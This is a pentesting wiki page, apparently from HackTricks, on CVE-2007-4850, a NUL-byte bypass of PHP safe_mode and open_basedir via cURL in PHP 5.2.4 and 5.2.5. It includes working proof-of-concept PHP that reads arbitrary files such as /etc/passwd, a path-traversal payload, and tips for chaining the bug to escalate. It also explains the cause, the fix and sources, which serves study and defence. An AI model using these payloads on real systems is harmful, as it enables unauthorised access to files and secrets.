disable-functions-bypass-php-5-2-4-and-5-2-5-php-curl.md (5217B)
1 --- 2 title: "PHP 5.2.4 and 5.2.5 PHP cURL" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # PHP 5.2.4 and 5.2.5 PHP cURL 14 15 This page documents a legacy but still useful-in-CTFs/local-legacy-installs trick to bypass PHP safe_mode/open_basedir checks using the cURL extension on specific PHP 5.2.x builds. 16 17 - Affected: PHP 5.2.4 and 5.2.5 with ext/curl enabled. 18 - Impact: Read arbitrary local files despite safe_mode or open_basedir restrictions (no direct code execution). 19 - ID: CVE-2007-4850.<sup>[[1]](#references)</sup> 20 21 The original Bugtraq disclosure provides the historical code context for this technique.<sup>[[2]](#references)</sup> 22 23 ## One-liner PoC 24 25 If safe_mode or open_basedir are active and cURL is enabled, the following will return the contents of the current script:<sup>[[3]](#references)</sup> 26 27 ```php 28 var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__))); 29 ``` 30 31 ## More explicit PoC (arbitrary file read) 32 33 ```php 34 <?php 35 // Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded 36 $target = '/etc/passwd'; // change to the file you want to read 37 $ch = curl_init(); 38 // The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read. 39 curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target); 40 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 41 $resp = curl_exec($ch); 42 $err = curl_error($ch); 43 curl_close($ch); 44 if ($resp !== false) { 45 echo $resp; // should contain the target file 46 } else { 47 echo "cURL error: $err\n"; 48 } 49 ?> 50 ``` 51 52 Notes: 53 - Use double quotes or chr(0) to inject a real NUL byte. Percent-encoding (%00) will not work reliably. 54 - This is a file read primitive. Combine with other primitives (log poisoning, session file inclusion, etc.) for further escalation when possible. 55 56 ## Why this works (short) 57 58 The vulnerability lies in how PHP 5.2.4/5.2.5 performed safe_mode/open_basedir checks for file:// URLs in ext/curl. The check parsed the URL and validated a path component, but due to NUL-byte handling it validated a different string than the one actually used by libcurl. In practice, the validator could approve the path after the NUL while libcurl used the part before the NUL as the URL container, enabling a bypass that results in reading the file placed after the NUL byte. See the original analysis and the affected macro in curl/interface.c for details.<sup>[[1]](#references)</sup> 59 60 ## Constraints and fixes 61 62 - Fixed in later 5.2.x (e.g., distro builds patched to 5.2.6) by correcting the parsing/validation in ext/curl.<sup>[[1]](#references)</sup> 63 - Only affects very old PHP deployments; safe_mode was removed in PHP 5.4 and modern builds do not exhibit this behavior. 64 65 ## Related historical cURL-based bypasses 66 67 - CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers allowed `file://` access with embedded NULs to bypass open_basedir; fixed before 5.2.x.<sup>[[5]](#references)</sup> 68 - PHP bugs #30609/#36223 tracked early cURL open_basedir issues using `file://` without canonicalization. Any check before the NUL byte or without `realpath`-style resolution is prone to the same truncation.<sup>[[4]](#references)</sup> 69 70 ## CTF tips 71 72 - When you identify PHP 5.2.4/5.2.5 with ext/curl loaded (look for `cURL support => enabled` in `phpinfo()` and the exact `PHP Version`), this trick usually works even if `allow_url_fopen` is disabled because ext/curl handles `file://` itself. 73 - If direct paths are blocked, try relative traversal after the NUL, e.g. `file://x\x00../../../../etc/passwd`. The traversal is resolved by libcurl, not by the open_basedir guard. 74 - You can wrap the payload in a single HTTP request body to trigger the LFI through vulnerable server-side code that mirrors user-controlled URLs into `curl_exec()` (common in legacy SSRF-like endpoints). 75 76 ## See also 77 78 Other disable_functions/open_basedir bypasses and modern techniques are collected here: 79 80 [Readme](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/overview) 81 82 ## References 83 84 - [1] [Ubuntu CVE entry with patch pointers and affected versions](https://ubuntu.com/security/CVE-2007-4850) 85 - [2] [Bugtraq - PHP 5.2.5 cURL `safe_mode` bypass](https://seclists.org/bugtraq/2008/Jan/333) 86 - [3] [Technical writeup with code context (cxsecurity)](http://cxsecurity.com/issue/WLB-2008010060) 87 - [4] [PHP bug #36223 (curl bypasses open_basedir)](https://bugs.php.net/bug.php?id=36223) 88 - [5] [CVE-2006-2563 cURL PHP File Access Bypass (earlier NUL-byte issue)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2563)